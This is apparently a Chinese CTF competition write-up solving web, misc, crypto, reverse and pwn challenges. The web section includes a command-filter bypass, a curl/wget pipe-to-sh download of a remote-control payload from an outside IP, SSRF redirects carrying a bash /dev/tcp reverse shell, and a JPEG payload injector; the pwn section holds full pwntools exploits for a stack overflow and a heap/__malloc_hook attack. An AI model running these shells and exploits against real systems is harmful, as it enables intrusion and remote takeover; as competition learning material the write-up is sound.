WEB

Simple_php

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}

show_source(__FILE__);
?>

使用php -r执行php代码,利用bin2hex进行绕过

<?php
$a = ';ls /';
echo bin2hex($a);

//3b6c73202f

前面加俩字母,不然会报错没法执行

php -r $a=aa3b6c73202f;system(hex2bin($a));

反弹shell,没找到flag,但是在passwd里面发现了mysql用户

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

但是好像....没法进数据库,所以选择vshell上线,弱口令登录

(curl -fsSL -m180 110.41.17.183:8084/slt||wget -T180 -q 110.41.17.183:8084/slt)|sh

执行命令拿到flag

easycms

根据提示扫描目录,发现flag.php

访问发现提示127.0.0.1还是什么的,基本可以确定是ssrf,后面就开始寻找ssrf点,从github下载源码,搜索curl_setopt​,找到了Hepler.php中的一个方法,后面就是全局查找哪里调用了该方法,发现存在两处,测试另一处排除后就只剩下了api.php

https://forum.butian.net/share/1072

根据该连接得知了该cms的调用模式

继续查看二查看手册

https://www.xunruicms.com/doc/1061.html

了解该cms调用方法的具体流程,所以就是调用api中调用了该方法的那个方法

index.php?s=api&c=api&m=qrcode&text=a&thumb=http://110.41.17.183:251/location.php
GIF89a
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F110.41.17.183%2F250%200%3E%261%22");//bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F110.41.17.183%2F250%200%3E%261%22
?>

反弹shell,执行/readflag拿到flag

easycms_revenge

对图片多了一个检测,所以尝试把payload渲染进去

<?php
$miniPayload = '?><?php header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F110.41.17.183%2F250%200%3E%261%22");?>';

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>

随便搞一个jpg,越小越好,避免报错

php poc.php xxx.jpg

改后缀为php,放到vps上面做跳转,反弹shell,拿到flag

image

mossfern

参考 L3HCTF ​的 intractable problem​,过滤都差不多

https://c1oudfl0w0.github.io/blog/2024/02/04/L3HCTF-2024/

根据链接得到逃逸到全局的代码

def factorization():
    a=(a.gi_frame.f_back.f_back for i in [1])
    a=[x for x in a][0]
    globals=a.f_back.f_back.f_globals
    builtin = globals["_" + "_builtins_" + "_"]
    print(globals)
factorization()

open被ban了没法读文件,后续思路是想着读当前运行程序的源码

image

f_code​ 获取当前执行的代码段,然后读取出来即可

def factorization():
    a=(a.gi_frame.f_back.f_back for i in [1])
    a=[x for x in a][0]
    globals=a.f_back.f_back.f_globals
    b=a.f_back.f_back.f_code
    builtin = globals["_" + "_builtins_" + "_"]
    dir=builtin.dir
    #print(dir(b))
    str=builtin.str
    for i in str(b.co_consts):
        print(i, end=',')

factorization()

image

Misc

火锅链观光打卡

火狐下载MetaMask插件,连接钱包答题,兑换NFT显示flag

flag{y0u_ar3_hotpot_K1ng}

神秘文件

看文件属性发现密文、加密方式和密钥key,解密得到part1:flag{e


在embeddings的word文件看到casesar提示,将word改zip后缀,在document.xml可以看到密文,得 到part2 :675efb


将ppt中的vbaProject.bin文件丢到云沙箱,可以得到完整宏代码

Sub crypto(sMessage, strKey)
    Dim kLen, x, y, i, j, temp
    Dim s(256), k(256)

    kLen = Len(strKey)
    For i = 0 To 255
        s(i) = i
        k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
    Next

    j = 0
    For i = 0 To 255
        j = (j + k(i) + s(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
        s(j) = temp
    Next

    x = 0
    y = 0

    For i = 1 To 3072
        x = (x + 1) Mod 256
        y = (y + s(x)) Mod 256
        temp = s(x)
        s(x) = s(y)
        s(y) = temp
    Next

    For i = 1 To Len(sMessage)
        x = (x + 1) Mod 256
        y = (y + s(x)) Mod 256
        temp = s(x)
        s(x) = s(y)
        s(y) = temp

        crypto = crypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
    Next
    'i13POMdzEAzHfy4dGS+vUA==(After base64)
End Sub

搜索部分代码发现是RC4加密,用厨子得到part3 :3-34

在ppt可以直接看到手绘的字符串 UGFSdDQ6NmYtNDA= , base64得到part4 :6f-40

在第五页ppt底部有备注信息,多层base64解密得到part5 :5f-90d

在media里将字母图片拼接得到 UGFyVDY6ZC0y , base64解密part6 :d-2

在slides\slide4.xml文件能看到密文,并提示用ROT13,得到part7 :22b3


在slideLayout2.xml看到密文,并且尝试发现将字符中的 B 、 b 、 1 、 3 去掉再base64解密得到 part8 :87e

在media中发现其中一个jpg底下有密文 cGFyVDk6ZGVl , base64解密得到part9 :dee

在comments/comment1.xml看到维吉尼亚密文和密钥,解密得到part10 :9}


拼接10个部分得到完整flag:flag{e675efb3-346f-405f-90dd-222b387edee9}

Power Trajectory Diagram

npz主要有三个属性, trace、 input和index,npz主要有三个属性,trace、input和index,计算trace中每组的方差,方差越大说明功耗越大,也就是按下了按键,记录其索引与对应input的字符,exp如下

import numpy as np

data = np.load('attachment.npz')
_trace = data['trace']
_input = data['input']
_indexes = []

def variance(trace, group):
    sum = 0
    for tra in group:
        if not np.array_equal(trace, tra):
            sum += np.mean((trace - tra) ** 2)
    return sum / len(group)

for i in range(0, len(_input), 40):
    group = _trace[i: i + 40]
    max_variance = 0
    _traceIndex = i

    for j, trace in enumerate(group):
        current_variance = variance(trace, group)
        if current_variance > max_variance:
            max_variance = current_variance
            _traceIndex = i + j

    _indexes.append(_traceIndex)

for i, index in enumerate(_indexes):
    if i != len(_indexes) - 1:
        print(_input[index],end="")

flag{ciscn_2024}

通风机

将mwp文件用STEP 7打开显示文件无效,结合题目描述通风机坏掉了猜测数据被修改,在STEP 7中随意 新建个项目,保存查看十六进制,对比发现题目附件少了前三个字节,补齐后打开

在符号表的注释处发现flag

flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}

盗版软件(复现)

题目内容:在网上下了一个盗版软件就中毒了,他从内存中提取了文件和浏览器,请帮助分析;(flag为flag{md5(网站域名+c2地址)}

首先看到exe生成的图片上面有明显隐写痕迹,当时zsteg+stegsolve简单翻了下没看出什么东西就放着了,原来是red每个通道都要选(red0/1/2通道已经看不出痕迹了),发现504b0304的zip头特征,每个字节中间混了个其他字节,写脚本提取

from PIL import Image
image = Image.open(r'output.png')
allpixels = []
flag = 1

for y in range(image.width):
    for x in range(image.width):
        if flag == 1:
            r_pix = image.getpixel((x, y))[0]
            # print(hex(int(r_pix))[2:].zfill(2))
            allpixels.append(hex(int(r_pix))[2:].zfill(2))
        flag *= -1
with open("output.txt", 'w') as wf:
    for i in allpixels:
        wf.write(str(i))
#7b020000504b0304140000000800649b5358cec5d11b150200007f020000020000002e620d516d7b816018fd2d77d3ca9a62a827ad2257613cb3c24229497a6588ffbfceb7f3e19cebbcdce9fa57eda20fa83bc08be4759fbd316e11944de3f0ede67cfa5c634c479ae933fd73ed07e5f8d4099c4469f5a2b6fcbb56c5ab0cae32767c111a3f60c2d1970c86fbc621edac78717254c287905ab4176bab6961b117e08ac11e2aa4d3c72d1aa2064bf3f84038260eb8e12f58cbbc81c67cc4b4a0ee2bad8271a828bbcd3fd66ae6eaa440d73eda28bacf44dd2af997f535ac19b916059576be05ebc7d0b16337f48a0a1658f3f78c189dd4110fec28a8e8c3e4a1a1af7850e37651b88ba2ec0a60c81ed15f50944d252532fb77af2ddb96ba08461250e5dac69f82ea9c49b9bf053a2539e42a6f756609df25325ecd3efa7d6212cbfa79289ab7535c76a81351c8de4755afc69edc78cf19f0d95b04b51efbbcf6a2bd7314a3cc5894ada4e9f9c6dad390b4e1a63b4a8cf7a9e4cb4f8c4a55ab42c652ea45379267ec2fd7188e3a44b5d55142a1456fb22239b3d551a656644f4f4f7d899b0d293ea923c96159375c598c9a2eb6dc75f77e182289482975e00eb2ee7a303f02b17b6f55f68e70c9f299cd33abe69f5412afcd2a467785d15d3602e7a66e90b42573ac88e3295cf20d5976ea8712585578f040b65f818a71506d9a930aecfc46935986bdc8ec9e15f72f391ffad34e3e2bdb5a9697c87e4bc16447f6decb63db88e7132157eb1390137dd961675f93673c38b9ff504b01021400140000000...

提取出.b文件,将文件内容进行base85解码后丢入在线云沙箱可以看到C2地址(存疑:base85解码这步是如何得到的,用了厨子和自己写的base并不能自动检测出要base85,是靠IDA分析exe文件?)

之后将dmp文件丢到AXIOM分析,在url中明显看到恶意网站域名:winhack.com

Tough_DNS(复现)

题目内容:DNS的世界充满了多变的字符,接下来我将直接给你答案:56 16 26 93 66 53 16 56 d2 03 26 93 56

首先看到一串01

先用tshark命令提取

tshark -r Tough_DNS.pcapng -Y "ip.dst == 8.8.8.8" -e "dns.qry.name"  -T fields > data.txt 

删掉后面多余子域名后用uniq去重,之后再转二维码

得到15f9792dba5c

后面的TXT类型发现可以通过dns.id分为0x4500、0x6421两种类型,分别提取txt

tshark -r Tough_DNS.pcapng -Y "dns.id == 0x4500" -e "dns.txt"  -T fields |tr -d "\n"> 4500.txt
tshark -r Tough_DNS.pcapng -Y "dns.id == 0x6421" -e "dns.txt"  -T fields |tr -d "\n"> 6421.txt

4500转hex得到加密压缩包,使用扫描二维码得到的字符串可以提取出一个secret.gpg文件

将6421去掉头尾0字节后转hex,使用file命令识别出为PGP的加密内容

PGP RSA encrypted session key - keyid: 44764551 B5B1D8D5 RSA (Encrypt or Sign) 1024b .

在导入secret.gpg时需要解密私钥,此时就剩题目描述给出的字符没有用到,每个字节翻转得到私钥eab9f5ae-0b9e

gpg --import secret.gpg
gpg --decrypt download.dat

Crypto

古典密码

厨子一把梭

flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

OvO

e两边乘p,解方程能出p的高位, task.sage的exp如下

from Crypto.Util.number import *
from gmpy2 import *

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

kk = e // n - 2
tmp = 65537 + (kk + 2) * n + (kk + 2) + 1

R.<x> =  PolynomialRing(RealField(1024))
f = e * x - (2 * (kk + 1) * x ^ 2 + (kk + 2) * n + tmp * x)
re = f.roots()

for root in re:
    p_high = int(root[0])
    PR.<x> = PolynomialRing(Zmod(n), implementation='NTL')
    f1 = p_high + x
    x0 = f1.small_roots(X=2 ^ 200, beta=0.4)
    if x0:
        p = int(x0[0]) + p_high
        q = n // p
        e = 65537 + kk * p + (kk + 2) * ((p + 1) * (q + 1)) + 1
        phi = (p - 1) * (q - 1)
        d = invert(e, phi)
        m = pow(c, d, n)
        print(long_to_bytes(m))

# b'flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}'

Reverse

asm_re

提取4字节一组的小端序密文,根据加密算法写exp

#include <bits/stdc++.h>
using namespace std;

unsigned char data[] = {0xD7, 0x1F, 0x00, 0x00, 0xB7, 0x21, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x27, 0x20, 0x00, 0x00, 0xE7, 0x26, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xF7, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x17, 0x1F, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x67, 0x1F, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x17, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x47, 0x0F, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x87, 0x27, 0x00, 0x00};

int main(void)
{
    for(int i = 0; i < sizeof(data)/4; i++)
    {
        ((unsigned int *)data)[i] = (((((unsigned int *)data)[i]-0x1e)^0x4d)-0x14)/0x50;
        printf("%c", ((unsigned int *)data)[i]);
    }

    return 0;
}
// flag{67e9a228e45b622c2992fb5174a4f5f5}

whereThel1b

base64后单字节加密,加密函数使用random.seed()添加种子,然后调用whereistheflag1,该函数中先 对输入字符进行base64加密,然后去randint获得随机数,进行xor加密

choose_data = list(b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_+/=")
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
flag = b"flag{412edff5-0914-450a-9f5d-e0165ebb5cf6}"
flag_base = list(b"flag{") + list(b'0')*37

for i in range(36):

    for j in choose_data:
        flag_base[i+5] = j
        import whereThel1b
        # a = whereThel1b.whereistheflag(bytes(flag_base))
        ret = whereThel1b.trytry(bytes(flag_base))
    print("".join([chr(i) for i in flag_base]), ret)

# flag{=000000000000000000000000000000000000 [108, 117, 72, 80, 64, 49, 99, 25, 82, 93, 115, 66, 94, 90, 87, 82, 64, 100, 73, 101, 69, 116, 71, 80, 126, 84, 99, 90, 126, 98, 72, 100, 75, 106, 69, 65, 102, 81, 95, 84, 75, 82, 90, 99, 106, 108, 76, 84, 83, 88, 118, 86, 93, 71, 114, 84]
from base64 import b64encode
a = b"flag{=000000000000000000000000000000000000"
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]

a1 = list(b64encode(a))
a2 = [108, 117, 72, 80, 64, 49, 99, 25, 82, 93, 115, 66, 94, 90, 87, 82, 64, 100, 73, 101, 69, 116, 71, 80, 126, 84, 99, 90, 126, 98, 72, 100, 75, 106, 69, 65, 102, 81, 95, 84, 75, 82, 90, 99, 106, 108, 76, 84, 83, 88, 118, 86, 93, 71, 114, 84]
for i in range(len(a1)):
    print(chr(encry[i]^a2[i]^a1[i]),end="")

# ZmxhZ3s3ZjlhMmQzYy0wN2RlLTExZWYtYmU1ZS1jZjFlODg2NzRjMGJ9

# echo ZmxhZ3s3ZjlhMmQzYy0wN2RlLTExZWYtYmU1ZS1jZjFlODg2NzRjMGJ9 | base64 -d
# flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

androidso_re

1.第一步使用jadx进行推测:

定位关键逻辑

去找钥匙和iv,发现在静态so文件里面

image

2.使用frida进行求解

function frida() {
    Java.perform(function () {
        var iv = Java.use("com.example.re11113.jni");
        var res = iv.getiv();
        console.log(res);
        var key = Module.findExportByName("libSecret_entrance.so","Java_com_example_re11113_jni_getkey");
        Interceptor.attach(key,{
            onEnter:function (args){
            },onLeave:function (retval){
        }});
        var key1 = jni.getkey();
        console.log(key1);
    });
}

直接拿到iv和key——Wf3DLupsA8UdWaeq

使用厨子进行解密拿到flag

image

pwn

gostack

根据题目提示可知为栈溢出, 通过 cyclic 500​ 测试直接即可触发程序崩溃;

分析

// main.main.func3
...
char v31[72]; // [rsp+48h] [rbp-1D0h] BYREF
...
v36 = v31;
...
bufio__ptr_Scanner_Scan(v39, v7, v9, (_QWORD *)2, (unsigned int)v35, v10, v11, v12, v13);
v32 = (unsigned __int8 *)runtime_slicebytetostring(0LL, v40, v41, 2, (int)v35, v15, v16, v17, v18);
...
v23 = v36;
v24 = v32;
for ( i = 0LL; (__int64)v14 > i; ++i )
  {
    v19 = *v24;
    *v23++ = v19;
    ++v24;
  }
...

分析如上代码可知,程序将scanner获取的输入通过slicebytetostring函数转换为字符串,并通过一段循环写入字符数组v31,该处位于 rbp-1D0h​ ,存在栈溢出且程序未开启canary保护,存在利用可能。

由于在循环拷贝结束后,程序继续调用了convTstring函数和fmt_Fprintf函数进行输出,仍会引用栈上变量,直接使用 aa...aa​ 进行溢出会导致在fmt_Fprintf内部调用的fmt__ptr_pp_doPrintf函数崩溃,下图为执行到fmt_Fprintf前比较正常输入和溢出时的寄存器对比:猜测r11导致崩溃。

通过调试可知,r11的赋值存在于convTstring函数内部,该函数汇编如下:

.text:00000000004A0A31                 mov     rax, [rsp+208h+var_D0]
.text:00000000004A0A39                 mov     rbx, [rsp+208h+var_C8]
.text:00000000004A0A41                 call    runtime_convTstring

只需控制rax和rbx对应取值的栈帧为正常值即可,分别为字符串指针和长度。

通过调试计算出偏移为0x100:

main_func1 = 0x00000000004A05A0
payload = 'a'*0x100 + p64(0xc000118000) + p64(0x200)
payload = payload.ljust(0x1d0, 'a') + p64(main_func2)

通过如上payload即溢出劫持程序执行流跳转执行预留后门main_func2。

exp:

from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux', log_level = 'debug')
binary = 'gostack'

debug = 0

if debug == 1:
    sh = process('./' + binary)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    sh = remote('8.147.132.163', 20263)
    # libc = ELF('./' + 'libc-2.23.so')
elf = ELF('./' + binary)

def d():
    gdb.attach(sh, 'b *0x4A09EA')
    pause()

# d()
bss = 0x00000000005641B0
pop_rax_ret = 0x000000000040f984
pop_rdi_3_rbp_rbx_ret = 0x00000000004a18a5
pop_rsi_ret = 0x000000000042138a
pop_rdx_ret = 0x00000000004944ec
syscall = 0x0000000000404043
backdoor = 0x00000000004A0120
check = 0x4A0520
_syscall_Syscall = 0x404020
main2 = 0x4A05A0

sh.recvuntil('Input your magic message :\n')

payload = '/bin/sh\x00'*0x20 + p64(0xc000118000) + p64(0x200)
payload = payload.ljust(0x1d0, 'a')
payload += p64(main2)
# payload += p64(_syscall_Syscall) + p64(0) + p64(59) + p64(binsh) + p64(0) + p64(0)

sh.sendline(payload)

sh.interactive()

orange cat diary

glibc 2.23

分析

程序功能如下:

  • add:0~0x1000
  • edit:可溢出0x8字节
  • free & show:仅各一次机会(存在UAF)

利用

****通过溢出8字节修改top chunk的size小于0x1000,再次malloc后即可分配新的top chunk,旧的进入unsorted bin,此时分配chunk并show即可泄露出libc地址;然后通过edit修改free后的0x70大小的chunk的fd指针,劫持__malloc_hook为one gadget,完成利用。

exp:

from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux', log_level = 'debug')
binary = 'orange_cat_diary'

debug = 0

if debug == 1:
    sh = process('./' + binary)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    sh = remote('8.147.133.63', 22694)
    libc = ELF('./' + 'libc-2.23.so')
elf = ELF('./' + binary)

def d():
    gdb.attach(sh)
    pause()

def menu(choice):
    sh.sendlineafter("Please input your choice:", str(choice))

def add(size, content):
    menu(1)
    sh.sendlineafter("Please input the length of the diary content:", str(size))
    sh.sendafter("Please enter the diary content:\n", content)

def show():
    menu(2)

def delete():
    menu(3)

def edit(size, content):
    menu(4)
    sh.sendlineafter("Please input the length of the diary content:", str(size))
    sh.sendafter("Please enter the diary content:\n", content)

sh.recvuntil("Hello, I'm delighted to meet you. Please tell me your name.\n")

payload = 'a'*0x4
sh.sendline(payload)

add(0x28, 'a')

payload = 'a'*0x28 + p64(0xfd1)
edit(0x30, payload)

add(0x1000, 'a')

add(0x20, 'b'*8)

show()
libc.address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3c5188
print('libc.address: ' + hex(libc.address))

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

onegadget = libc.address + one[2]
__malloc_hook = libc.sym['__malloc_hook']

add(0x68, 'a')

delete()

edit(0x8, p64(__malloc_hook-0x23))

add(0x68, 'a')

payload = 'a'*0x13 + p64(onegadget)
add(0x68, payload)

menu(1)
sh.sendlineafter('the length of the diary content:', '1')

sh.interactive()

发表回复